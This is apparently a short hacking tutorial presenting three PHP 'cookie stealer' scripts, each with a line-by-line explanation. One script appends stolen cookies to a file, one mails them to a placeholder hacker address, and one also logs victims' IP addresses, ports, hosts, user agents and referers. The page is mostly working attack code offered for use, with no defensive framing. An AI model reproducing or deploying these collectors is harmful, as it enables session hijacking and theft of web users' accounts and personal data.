Crack Rule

Here is the simple Cookie Stealer code:
Cookie stored in File:

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>

$cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.
$steal = fopen("cookiefile.txt", "a"); This open the cookiefile in append mode so that we can append the stolen cookie.
fwrite($steal, $cookie ."\\n"); This will store the stolen cookie inside the file.
fclose($steal); close the opened file.

Another version: Sends cookies to the hacker mail 

<?php
$cookie = $HTTP_GET_VARS["cookie"]; mail("hackerid@mailprovider.com", "Stolen Cookies", $cookie);
?>

The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".
Third Version

<?php
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return($ip);
}
function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
    else
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
    fclose($log);
}
logData();
?>

 The above Cookie stealer will store the following information:

• Ip address
• port number
• host(usually computer-name)
• user agent
• cookie